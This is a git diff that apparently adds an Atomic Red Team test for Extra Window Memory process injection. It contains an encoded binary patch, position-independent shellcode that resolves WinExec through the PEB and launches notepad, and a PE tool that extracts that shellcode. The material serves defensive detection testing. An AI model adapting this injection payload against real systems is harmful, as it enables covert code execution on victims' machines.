zohxk%BtWDPx=G2e^qqp}E3X@wJ4`vHc@&LJWNE(#@0eq*p+l=MGsAQH+xz>~8IneWM|jjoib-hAfb+RyZtD$aLEnlc~4 zY7YG&x^h2sW$lNe82q(gv_43Lp>jr79b)Y?^z*o)b!5Leh6zRM+O>_ALQLU)e8el$ z(t0&t?{qFxUAt}_DJYKNJ6P{zt?Z!Gwia3oL=6xh_UfKiB)7HD1dN_OF!15;khG)@ zY6d#!cdM}9qQS4N#oV9y?Dg>4GH+c%ui&6(+_&iY80%mE{milWtwDMP2R-AybqZ42 zT1*KZKJ?@x@mo}fbkH;ITl9R4<(BKE^a>7o#(j&F3vs!g`2O$S6Jx!NUco`n;4Nz< z5Y=8=%VjvzdZOhkUyDLeZP;x=?cUb%Af53?N4w0mp#(~il+bpZbu-R_nYB~&o;kjx zFWN;nT%*?D7v+i8ImHJ#*{K81h_!pC%}?Y9lW-ye>EIP5i?x`g(?R8y&xo}-l|o;S z-|C@iG^~->#C^u_;UQHb+sCA?8I;Rj7(pH6e?4kvH>Y{s1&=#2us!23*{5$ zWNM6PT0Rrim~n|xZ;`86eCXPkpcL|+Y-^!aUhZMn*y-{as&&)zmMV&}H~_J)Hd$ll znI(14P&Kx-(8@0JOsjn68ssibEA-7imI?grnrqU1z3KHmeLHqtckSrlQ13NsQmJd! z%QLQe zm7c;{6Q~4!3ago}aZX!fyQHn@*|c%()&h zu*UN$`7=71HJ+QcZ0J#mw8nF(cpuhyl9&3uXc;=}9!0;&y^*N?95mY`{+7bov0JRW zZEY5E3_YL^YTwTiTeXf}S_N#;3Elb#p7{p;UO=o0$6EaL(%N?QoTN)i|2Cc()$2;> zHyze<+f|A{UcgBJt_&rLy5w_}!%hwBZ1Nwgp z+-Mj7<(3B)ht@3lWopS%Bz+v!AgY%v_ODqrxj56cIC{z0;^>;OACORR0kpAJ;n#CL17w48A`OUHFRY&evbIGyl z(yOa$E;)F~{TmN1F8|PdLu=aa+qwM69UodE=FgaE0sLbBhuVM8i?@$We5n1APiJ2) z+1QaUbRoA7^c>A9-{N}~sI+3fYw`N!i(|{TUf(`{ip=~21xL;!ysU6I&BLeNt2pV1Y0GLk2* zIgZ^$EWJhghqgjI0UMBCTq12HOQj&yE{HLx@2e(lk;6l)xLiKJ4(BD(o47-Mxl=Bi zUM?s=&}s7B)5WuJy+V2icZqGdUMY6qdcGPu?achJ`d+J z#N9ZbDURTLmLSG`ws8TH8?+6ybkB5!t0mH|A#oAC;kZM z3&h)TUL)R#^F{FerQpXO#Q75OF`O?G)SPR@XK-F8zJT+3@gU_v5CjF_~rLXy^ zq7&%|h=y~gI1T61rJwZ*u>#j{d&POB^tnDmkdbVawCJIpPI=Wi_;_?I!Icrjul^q_ z4?bL(pOediH)2(A8$L#Vbf^dz?y6vzw#udMRHc%egNqEMO-8T>+%!t<4VZ+N=d>`N&X!=Bd?nbh+E2KKylJsfW7ikW8I=ZKqtMLRTGfS;}oP?H4%HRfpIJX4o&&w&*Lk9O3E=nU>dA z9pbsTBI8G=xJzGkh!5auOs0KAUv-Ed;fe#GiNX`6D~ z=oDAzs}7OE)t&OW0e#gWD!6*4Ogp5nI>ZNYb(c*0sJ`kD-^112GVNh~)ggX`t9xYH z!&i8R7dM24Rw!lWIJ z(%MZLOgcu9x7?(`tYgx;qO|yXt8|)X{*lsdwN5`=mRoI+=O^slv2o^HeZN{>DA0x! zr2I8F-Qu9~tVO>r9mqQljcbG+nWo9(D}Lt^lP;zFxW0FwiaMjzT&R08Feyy|ba{2sr(q={u3MOA9D0LwZ z#sTPj?IR+`$V zZQ!gJ-OH#Qr=xo45(*^^`?}H8nl^=FV)R}f9)plhBt@8V{}GBs3$;yqm~`SlXE#WH z80n<6HqR@^mKH%PvCV<@vmGGn$DBtq`_@|Zg?>Pe=`fJjI;KZdsvRv_#JLtuBS*p! z>$}j`7zf6*BKDX*mIx?iA*I>$k9^GKrt;JIsYw2c_{T*k94!J(CGmRrEzSeE>svl>g zaioRZ9vVj}gJ&wUcuO6zHhM*}HrmpXV&H1Xs460ypstX)4@9KeL@uiJ!N%bmL5@?qR>E?$QuJ6Cf&uN;w}_tMNxEOYx_c z54z95SR-YI_$`|B(m~%)-=PUD9i+d9Mpjz}o`jU+wa(1VbDBM`&4UFyhxyJ^PvAQ; z9+T25*R`_w4pG+e^D{L|ldnpBcA|1!d;;G&k^EeK0^garIVa0gS2=jslna-~Ef<%c zNW8~)(Dy-6>*ED@)5xl%TY~B&WrP(HYZy`AnoUrf1@};y29Ietkjctu0&d zs~dkCkAqIqT6`Gvb|ksz-6n;SrMiUvt3#K)ryD<2*{{)evUTX{8B_Mx>gUuygH8}9 zj!y4B7k}OOQ|Q#KY5KhXIOxBNXX3-4lLYOeKii~GviLBaqC=PcD)kJt`>?+EPj%?- zcOHzsK^F#{AWj^e-h3(k40>zJ1b)ro?+3?0C)HAX7F8_@UG~lD z87e#FgN`o}bC!ppdG|Y~I^Qwqlt_QMi00k5Ty*;U>+xsMTU++x7xAYDkAqI(6XL_5 zcOuC}|FKDt&!6MGMelzIf9e_Pae4eAjne7Spkd1He&-_RI|iLbAs1b#=uA(!%y|nB zBb=L+XL2AyWGE;^0RGDSY0l4m?557qAL*Q;l!-4E$IudG9N zzq8%>jzOnH`itA$eal5B?E)!=NTo_|sWJD@aYbs{IORL|MapB9qVz^PN-g*qKl3o| ze=2?kUnc#;LY$&i38Yw6Z>_bg7K9vIiSa|{kW^>ct|p$UImoL)&#M%H$>-=q&+YD8zwU;b|~JiANQv z4|E-yc=?iBZpGW3N2`|{UXQ27Ntq9O)e_v@ZGN=lwZ$bbzprmOUTDWt^n2sWA9?r3 z>ETDtmDZz2&Y~~wKNh`oi%d3_vNWDN9e=B2;FT5f>diQ-t4naDv^>i4ee5o(6=MWC z8`sOA2`3)cjdO=wB(nl;Ib;B!cUMYN&>2!1KT`&TIZFnbIa`{7R!dXRIpnqkg9^z9 zPm-E3xWeN4snQhGEp71UOYP1D(iC)|7{%R-5CDb@Dm1oTjsP&=ax&=B6|#S?mqwr- zX$0CR%|BO3!_O8$9QkUP4ar&R0M5^pBjd9~1=qdeAkO`=uMbFF*>-U^Qm&H*p&=>Z z3=5iTjfh2@uNSYtc}xbVnM4>E3PkgJINyk1FvMrxfb+AZS?Ff*CS2bl-iq_B;vG1r zrEw@DjYCQUPt0PWG?xo31*Rxhj=TlHp#Si>Z=YJ@~Bs)eGX}K)gk^3 zS1FnHV|~>jj^S#XOlxaZS4vN7^i2=r9$Dv%e#PipE%O?_9+Bez>RYwG)#$m6K8keK z=5X{;PLF&HfgaQ%q4VX#xw$kH#?m*`(g#CVIVXELg_uCP(TCbP@c-BJp%0)w8tJW1 zLAtHCRtrE|WFR3^-@grgqzXQwbkzoTHOEUHeeBUOtF2E&*J^af(BqN`Bho>y5{Kv1 zYGq>2wBXUzjXU(_Ftiibf0}+zI%#tt9}%NF+4caVDI)meX~1eUMH|*y3e*3YzVxF& zC8;+)>h-1ZJ#$sBFD1#BGY? zdN%EK?g@Nn=H}yTEW1zOJ13H#H7D?$lcce9=+MYV?Z{7ypjrH7xT1q*SR^OJ8cX$z z(M8Zan+~PnOrFKNZ>e|e^M&|f&|9Uxl%&s>0i9%tB=kR!_YkB+J)^ynuf{LDXz38B z$H){qiDPt%4kOX2XQ=GzYeM`)kv5(*+8g&fE%IyTL&;@#-*VCE?albR8-MgUHNou1 z70oo_lu`Vm8c``}$gQNEpf}@ZNaOZOCnbkpG&51p&|Ig1mY`NCpp^=dluuxh3kUr$ z!Z%%O%Q9UmiI%RE5tzi-jw|C0tGekpt~Ow^tqnLuX#?QlIEcK{QL7Cg?cv`c{rmWT zKH6(3=6JR?z|}6wPednM8(^MW#5dju_IBAa^%!w5TO06dtqpiRo_S0^V?Jm-w|yNE zGY%RdUWWX?5r1@0OVD$>`!=vzgBADw37&K{2ahYwftk@SftKL8q(*oi&HwvfPQP#5 zJ$e6uuAcAqe5L21o?rAFJN8YZPq^mrPFtUVryPC4{uX>eInyfD0{yhV6RR0ss?-b@ zK*e!n=aP1#ZNL{3wGESS%xz!1bTM`A=wfR1=ntqS$O-rJs6`sb$lqm^oPSe&t&%ft z(nGG2vuhfoR*CQ6tkQlHU0s1I#W&iez7@`i_}w8j8=X>@v0S#mY4Xj}BXt>h zL6o{*ya(q42z5)#;68x!?NUoumaeZA@kyjqWf;{%Qd@mkkPQ7?8PfL->GXOhg4~iP z(6?}YzIX`dBM58@-*f50e6RQ$T)$8{y}n3%57#di|A_NTq|@vD;$Lz7GU@vIa`8i4 zze4;Q&c7pmg!3zUuKRc(#x89AQpry$w98!33`k5Mq zP-ZVSQI$#?sRfJXGNcKTYMj2UPAyxS9@*cB7j}w|;7nH?vL9`eY1E783jT7S-#(dk zxxVTU&%zaPuTHT|Uv-E%T#*#jDXRLaLrQ`JGVP^EqpJ?_5nOGTX`j$na6-q`Mwvz$ z9=cL~i92K(`6bd-hZw-sPMJ2SuavIG%-lZY!;P+qbTQ`me@)kP3JUiB1)Y+ivxku%@_{ruSVL#F|6?{hgeiNr%7WoaGgqPQHbDHCQ=OpQwoccjF zgE z%$xD+t4<2d0BPP9Kl2Ivq8Xk_p{o-1LbW+qO`eP6)ChMDy^(qc^-b4-8N}kP4b&yLr2j| zqzW(_WYQLX6rV`#Zt3o}NWX3efZE~E+0c-3dLF%|w%Odjd;t!;}j|SEJX#=G?)fGwKl#>cCnx1cR&8jLEW9qR@5!bfwIY^ z3iJiSuJ-Y?>G)eFm6vqYDP6MY zsza{9r#kGEieb9yz$3wIY3cscb1z%km+mZPq!YHz;;9wZGXHg_^iSro$@=*Hj*QW)A;bvBZaBc#$?v zJ>%}RLhex}ojQm4CMkq;x{N!0K7eUDMwPb=Pmuk?`dnwxN-3wzUw~Bw_0l7cJhY1Y28# zBOU+;a7a5OXwjiUCYd}_%JHUP@l-A@54~p&;x}}(3Yxq;5m%Ha5(3p>xb%AblzA31 z1x$KfO-hd(eXM7|qKVI`6#AOfZ_ou{$^UEQ*-oM9lRD@bI~W}0w5^4BAHDmEt(Uz( z)yA3$8b{Q7@|noAPT!$t)k3Jt>1TA9DbF&b$Y-KOA=^v}>fKD?=!y3E~FU5`;N2saXT)t4+haawG zy+_~1kW06(+^}J@J(Do=i>nf1Lv85Us^=rhZ~jG?U+hLX$tQpgn}F%}|84K;Vxu~) z@Ll{9vukVvCNbcUb=Uw61pm9{uQ6UjK!V_aMVrLRV(=Q4*j}`|rVg!|q!tg>mR7Cu z7FBK1_PJ>lRc#(BT2i6(DN3p~L~4_VJS3tI^ha%4rA@!@%*?%W@9ugRV|A2>pQ4pGZD6w^!5faCdwGWkYPOVc=h%P#`rd|l=% zy1JgzwYVGU>jD+Vd~m*0J%9iFW7YE)>gF@`^Cz3~)v@`(=J6L;+WcV4+=m~}EWbL~ zN*;Z^Ha}25KiInU@)b6Ff`MAuZj^cXE^JJM5BNN?60F=J)yNuftw4b~Vdl%lJ~JZr zG4)Ox@;6{rmwNA;aBdQb-bz{bZI*T4HL~v8BDK0!TbJ@)23jpbUmHG2v52&kD}M_u zol!Sila@dzy=|^eak-$>n$mg?{3Wty6ZA`va1E_(cOXa<-z)_D{*|lk0ljk5a`uMV=(oZ<*= z7j^t1ujRt61M~No@ z>%^jn&wFdQj=i{Euv~-a@HI*sSSeU;l?dBbYth^u z?-uR74chwfC}K8=Bg)O#a-Q0LkK?>mYz?=G-rfVEx7Y5RM0|&6?{$jaUYD%Sc4M1) zu5qPt?iDS)ez7~;A-Z}yMclPVOTAU^7jgr5%{+Wh*O7YBxB)b)o1Rhw4Ye|BHk6%H&;{ZA|6=b)Oj5Wi%z4$q;DdQp|D7r z6?WxZOkr1Q9CGFc;Q{(ELt&>MA-05wvs;J4&M-n8FC)%~4uzc*LOUdGN{9U3%?!S> zrUDoh-0yZ_OC}tx09@;R(ds-rkJni>>{%6u8)YFHbbjndv8Q-Lx3oYcKbE zqPUy!2F2lme9)uC;a>7W@)M6fySUe`)&B?FTkLs0P26ig55G6DAIZbLY*j>9inAKz zsqz>E`!N546jC*~m!e2qXyIPfLd{j*;3X~@rla!MxYwIwnY;VT`IcJ-1Lp3$bLDsE zm0S!YKH*iwy^5*Mx-keyEgbR1#PN@aNL_`1_*virlP(9L09tnWIPc+?4;5wGjP&@f zdyx#j;r8y%zMDbXojrY)XZ&i1($7(#TJ?SL8_=4d0GLSo6&$bP2tiJ0BW@CO|gC3PlJ;^W7pC-DN5#9LYtiY}HaMXOSNkqd@)6?WEH+aN1D(xlN!YHOI zNr5k-uqcj*EcY@L7CRF1sEG3$oEZws+*aYOf8)QxTdYOH!`VBCT8(VW#Ix<&GA|>W zGNUbDwVae8C>=n>yYunI@j})zTdGHeypV6_r^00^wpO-KkBaa@FHwigH#G^W8Jqj@ zpC=WfoT^;?R3a5>si2&N>e+lRe&_PfQ{K`S#gr{)q37ZCl$?+hH)6NocYPHH+b71V zqEZ;eg&eU*Lmn*$VXbpy@U;F^8!_CdlLfkDx{%64ZbTUn>2>vkv$?y!oE|rw0dsfW zx$?VnE*|Lm_Beqtzpto9T`5md-JShf*Us}4bpy?MA0H7E9P^(-9LN0ac;pi}YB2KH zV?NVMkv-;{d_P7RIedVa?gI6=*dFt@@Z*3+@Eg>WX1@GrtUA9npKTf6#c86GTYmg~ z{=&V}+<%>1$EA2wnMT5p^Ui!cx`#5CnfiP@hKNB@~X2wIWaESk^3hh{Q?FBJtpayIE`# z*;<=r9n5ItA_8BXFI^*}NLW_b;A0#y^@6n;q>VSq+FFxn)UK8lHpSOk#1r3IS!Y`( z?RmZUhia9(+%0%(gUp=ok(uvCk(b3B^3MCj56vd=GP7BvHCsel^MKeLZ5LajcF|Am z5NS=PGmNWx#9Ml=NNf7UzOr973BgW1NZlzCnqBBa#5^gSzaU<)9u(QkUa_Mblx-{G zB9$4^y1}f0Tad?S4tWdA*xtNh@@yhKIj&97!2ANjn1y(3p^T*bP6U*MXwrj|y-OCkF)_d9|6*;Zc$*Q`N&Ib7r65i{ht zFw|0yx*3@ayBWEsM};`lOEaND97+yKuIW)B4kh<2B+YUqL1nnp%A{gq1u?>Ab*#!` zumU4h%$EwTB404~^APS@#Fnf1N)Rs9tjd+M&=)iz;)zT(c(u!bIFvp>{kOi5O7fT7!8Ri%6|>cAS4fl*liHd70{6#eW{T90*Yg@3S=a zp9x$--hz^g;(f|&NSuj!cc&aw?&Yeyu`KWI&oi@2hBd1^e0NnEG__P?M^1Bhe>vZE z%V3~1-uGYSzdNtY;UM4S6RH{K975}TG0)-Oup9FtLJL^;l=5wBBMt1{SWNfMXHMjk zKqUO=iGS_#u%Dw1SK50zifZN+vHa=jf%Dt0KC_=A=P6arM=Q<`v@iFh(e}8Amv{by z%Ayo;UVkH3lP+MXa{zg+Ay1nY2=HgX85pp~P((R5YT%Vo=iz@6=N~qHHPWP^oulK^ z+06OTlVjQB=&4LD%hQ*;yGEtYPv=I{C(o*Fh$quy<(a;d4*1^5Aq#?w-^A>z1aKf z$iw>&V%N8WN3mJ_k)w}xcM109q^WXCn99nfNemxuL9OV8OkjLQFWgzac}8RSoVu#qm0PTfDA#|4(FvHPV)F%wP>OO#t|Aqh|hrC z2PJOlEiAZuIxUAd?FIeiw#CG4i;1I&<0E?qKRXr^oQ^CwHo#&+IZ=2<8o75`cs!%E z5~nq^KH9m=b^v=Ubs_0F`mAmCiw=U^g+cb`p7%}ni`B%t6^Nu`-*-s1T7mo8fVHfK1KK9$U74xjFWQo!17&!rncOhHOeS0l zAA>#?YvDtXMb71sZLhKn(N!VxG~%W|emJ+^%SRqWVjdp0ZH$TOka%@cc@FwwY>37? zRD}rA{4|Qcl#d56N}><~DR5IHL17~%1VB}|y{A`Oqeq3bbxD7>Z`D<-*9F6N_U_oB zaw=K-iN^B-+^La`i4>Hz&mit)Nr7e@s+ziTQD^vskrObz6b(4TmklO1`6zX3KuzAS zaV)`!Eo=X_+=II9@cX9onDUuVc4LUny?5i<{-fnpLzCIFg1CaqVthh^V}QG^=&#;#lNNE-*&DyGs8cB&D=9T zzcw0c;qlrP@hPaD0&*e*?vUnG2OvX0qhJ-mPQ9#Ft`MntgP2-1${eW)o(Bm^+HhVa zQu8$;r@u>9idsZ=zE*T&)`?!@dXbv9%DnP!k(6%`iRV4CCK46t_(s`O8v_%{yw5p? z^Cpq=Zx*@u7V$gyIgyKR6P?8eL?XUj{0p{=M7%?GN$8fjU5`LABL&~7wGxZWA|}pp z5|PV{O^@1>h>2W!(!W=M=?9hV+q^BHWXSfy4$5Dy>uO5KeNd0CCgE7-bRw075IUDg zP3MxQ;RxuF=`r8Vw&&7W@RRf0X4t*V&YMVQ5*L!0G(MY~F4M;3EL{0hM-Qnx_KWETEHveBFRG@hss*Dh|=TJ_;gd?-z36yRSDk5%j(0Wu>1qty_} zF@XKvBYPO-SFZ}O|NF_jJJ+^KzPp~|LOzy(5-0#e;r4W<9F|_P9IKU=s>6hCi!3LE zZ@4VPHE!0C8YdZVWHJo1YLpS=TK;v($YfZrlE;+@N!v%Px{CeWPpqkpICxd9V_Nw` zZVUpVHI(qhP=JQ)rE@o5wBx}+k1=2PdavV_eOmL&nb%c^mOShgcR?29P*O} zG>JAm11ZRR4k1o>4_=U(4k7d{d!3i*rO00AHTnLI%)dlAKUJJu#uuCS3?PlvgX3+T zMK-yhEJ`{?Svk7(KmAHSFO-5CD?vtP*{ zzA-+(g26`{$ro2x{gUM*{}HCVT0PPVT*u(J*U4<&EQ z3<-x>CcLFe)?cfI!_p_<<#;=GG9Luwp1<97}*#k7)shIm^m$&5){%P%=5`D;^#CAS*&=)Smdo&AG- z%cI4O>+D|~lRPRM*V(rU$-c^4nPEOv8{-R0GmF-Rx(j(VDdcd3UV{+Z2S*crtx_X& zRMOPwi9A|IhrN(()YH*nSrWsO)6J8QI6A95ygPN5*xJ4>xtY=M2Y)%V67a~}ogCAD dclF&2e;DvCL8t?VtJi6H(xTnE?hL*b{y#zO(q8}o literal 0 HcmV?d00001 diff --git a/atomics/T1055.011/src/payload.c b/atomics/T1055.011/src/payload.c new file mode 100644 index 0000000000..88585678ee --- /dev/null +++ b/atomics/T1055.011/src/payload.c @@ -0,0 +1,168 @@ +/** + Copyright © 2018 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +// Original: https://github.com/odzhan/injection +#include "ntlib/nttpp.h" + +#include +#include +#include +#include +#include + +typedef UINT (WINAPI *WinExec_t)( + _In_ LPCSTR lpCmdLine, _In_ UINT uCmdShow); + +LPVOID xGetProcAddress(LPVOID pszAPI); +int xstrcmp(char*,char*); + +// Extra Window Bytes +LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, + WPARAM wParam, LPARAM lParam) +{ + WinExec_t pWinExec; + DWORD szWinExec[2], + szNotepad[2]; + + // now call WinExec to start notepad + szWinExec[0] = *(DWORD*)"WinE"; + szWinExec[1] = *(DWORD*)"xec\0"; + + szNotepad[0] = *(DWORD*)"note"; + szNotepad[1] = *(DWORD*)"pad\0"; + + pWinExec = (WinExec_t)xGetProcAddress(szWinExec); + + if(pWinExec != NULL) { + pWinExec((LPSTR)szNotepad, SW_SHOW); + } + + return 0; +} + +#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) + +// locate address of API in export table +LPVOID FindExport(LPVOID base, PCHAR pszAPI){ + PIMAGE_DOS_HEADER dos; + PIMAGE_NT_HEADERS nt; + DWORD cnt, rva, dll_h; + PIMAGE_DATA_DIRECTORY dir; + PIMAGE_EXPORT_DIRECTORY exp; + PDWORD adr; + PDWORD sym; + PWORD ord; + PCHAR api, dll; + LPVOID api_adr=NULL; + + dos = (PIMAGE_DOS_HEADER)base; + nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew); + dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory; + rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + + // if no export table, return NULL + if (rva==0) return NULL; + + exp = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, base, rva); + cnt = exp->NumberOfNames; + + // if no api names, return NULL + if (cnt==0) return NULL; + + adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions); + sym = RVA2VA(PDWORD,base, exp->AddressOfNames); + ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals); + dll = RVA2VA(PCHAR, base, exp->Name); + + do { + // calculate hash of api string + api = RVA2VA(PCHAR, base, sym[cnt-1]); + // add to DLL hash and compare + if (!xstrcmp(pszAPI, api)){ + // return address of function + api_adr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]); + return api_adr; + } + } while (--cnt && api_adr==0); + return api_adr; +} + +#ifndef _MSC_VER +#ifdef __i386__ +/* for x86 only */ +unsigned long __readfsdword(unsigned long Offset) +{ + unsigned long ret; + __asm__ volatile ("movl %%fs:%1,%0" + : "=r" (ret) ,"=m" ((*(volatile long *) Offset))); + return ret; +} +#else +/* for __x86_64 only */ +unsigned __int64 __readgsqword(unsigned long Offset) +{ + void *ret; + __asm__ volatile ("movq %%gs:%1,%0" + : "=r" (ret) ,"=m" ((*(volatile long *) (unsigned __int64) Offset))); + return (unsigned __int64) ret; +} +#endif +#endif + +// search all modules in the PEB for API +LPVOID xGetProcAddress(LPVOID pszAPI) { + PPEB peb; + PPEB_LDR_DATA ldr; + PLDR_DATA_TABLE_ENTRY dte; + LPVOID api_adr=NULL; + + #if defined(_WIN64) + peb = (PPEB) __readgsqword(0x60); + #else + peb = (PPEB) __readfsdword(0x30); + #endif + + ldr = (PPEB_LDR_DATA)peb->Ldr; + + // for each DLL loaded + for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink; + dte->DllBase != NULL && api_adr == NULL; + dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink) + { + // search the export table for api + api_adr=FindExport(dte->DllBase, (PCHAR)pszAPI); + } + return api_adr; +} + +// same as strcmp +int xstrcmp(char *s1, char *s2){ + while(*s1 && (*s1==*s2))s1++,s2++; + return (int)*(unsigned char*)s1 - *(unsigned char*)s2; +} diff --git a/atomics/T1055.011/src/vsdevcmd_x64.bat b/atomics/T1055.011/src/vsdevcmd_x64.bat new file mode 100644 index 0000000000..abc6a8ba89 --- /dev/null +++ b/atomics/T1055.011/src/vsdevcmd_x64.bat @@ -0,0 +1,2 @@ +@echo off +cmd.exe /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat" -startdir=none -arch=x64 -host_arch=x64 \ No newline at end of file diff --git a/atomics/T1055.011/src/vsdevcmd_x86.bat b/atomics/T1055.011/src/vsdevcmd_x86.bat new file mode 100644 index 0000000000..b54101d936 --- /dev/null +++ b/atomics/T1055.011/src/vsdevcmd_x86.bat @@ -0,0 +1,2 @@ +@echo off +cmd.exe /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat" -startdir=none -arch=x86 -host_arch=x86 \ No newline at end of file diff --git a/atomics/T1055.011/src/xbin.cpp b/atomics/T1055.011/src/xbin.cpp new file mode 100644 index 0000000000..755af80f38 --- /dev/null +++ b/atomics/T1055.011/src/xbin.cpp @@ -0,0 +1,269 @@ +/** + Copyright © 2016 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +#include +#include +#include +#include + +#include + +#pragma comment (lib, "user32.lib") + +PBYTE img=NULL; +ULONGLONG img_base; +HANDLE hFile, hMap; +LPBYTE lpAddress; +DWORD cpu_arch, flags; + +// return pointer to DOS header +PIMAGE_DOS_HEADER DosHdr (void) { + return (PIMAGE_DOS_HEADER)lpAddress; +} + +// return pointer to NT header +PIMAGE_NT_HEADERS NtHdr (void) { + return (PIMAGE_NT_HEADERS) (lpAddress + DosHdr()->e_lfanew); +} + +// return pointer to File header +PIMAGE_FILE_HEADER FileHdr (void) { + return &NtHdr()->FileHeader; +} + +// determines CPU architecture of binary +BOOL is32 (void) { + return FileHdr()->Machine==IMAGE_FILE_MACHINE_I386; +} + +// determines CPU architecture of binary +BOOL is64 (void) { + return FileHdr()->Machine==IMAGE_FILE_MACHINE_AMD64; +} + +// return pointer to Optional header +LPVOID OptHdr (void) { + return (LPVOID)&NtHdr()->OptionalHeader; +} + +// return pointer to first section header +PIMAGE_SECTION_HEADER SecHdr (void) +{ + PIMAGE_NT_HEADERS nt=NtHdr(); + + return (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + + nt->FileHeader.SizeOfOptionalHeader); +} + +DWORD DirSize (void) +{ + if (is32()) { + return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->NumberOfRvaAndSizes; + } else { + return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->NumberOfRvaAndSizes; + } +} + +DWORD SecSize (void) +{ + return NtHdr()->FileHeader.NumberOfSections; +} + +PIMAGE_DATA_DIRECTORY Dirs (void) +{ + if (is32()) { + return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->DataDirectory; + } else { + return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->DataDirectory; + } +} + +ULONGLONG ImgBase (void) +{ + if (is32()) { + return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->ImageBase; + } else { + return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->ImageBase; + } +} + +// valid dos header? +int valid_dos_hdr (void) +{ + PIMAGE_DOS_HEADER dos=DosHdr(); + if (dos->e_magic!=IMAGE_DOS_SIGNATURE) return 0; + return (dos->e_lfanew != 0); +} + +// valid nt headers +int valid_nt_hdr (void) +{ + return NtHdr()->Signature==IMAGE_NT_SIGNATURE; +} + +int isObj (void) { + PIMAGE_DOS_HEADER dos=DosHdr(); + + return ((dos->e_magic==IMAGE_FILE_MACHINE_AMD64 || + dos->e_magic==IMAGE_FILE_MACHINE_I386) && + dos->e_sp==0); +} + +DWORD rva2ofs (DWORD rva) { + int i; + + PIMAGE_SECTION_HEADER sec=SecHdr(); + + for (i=0; i= sec[i].VirtualAddress && rva < sec[i].VirtualAddress + sec[i].SizeOfRawData) + return sec[i].PointerToRawData + (rva - sec[i].VirtualAddress); + } + return -1; +} + +void bin2file (char name[], BYTE bin[], DWORD len) +{ + char fname[MAX_PATH]; + + wsprintf (name, "%s%i.bin", name, is32() ? 32 : 64); + + FILE *out=fopen (name, "wb"); + if (out!=NULL) + { + fwrite (bin, 1, len, out); + fclose (out); + } +} + +void dump_section (char fname[], char section[]) +{ + DWORD i, ofs; + PIMAGE_SECTION_HEADER sec=SecHdr(); + PBYTE pRawData; + + for (i=0; i
      \n"); + return 0; + } + if (open_img(argv[1])) { + if (isObj()) { + printf ("\n[ Looks like an object file"); + } else { + dump_img (argv[1], argv[2]); + } + } + close_img(); + return 0; +} \ No newline at end of file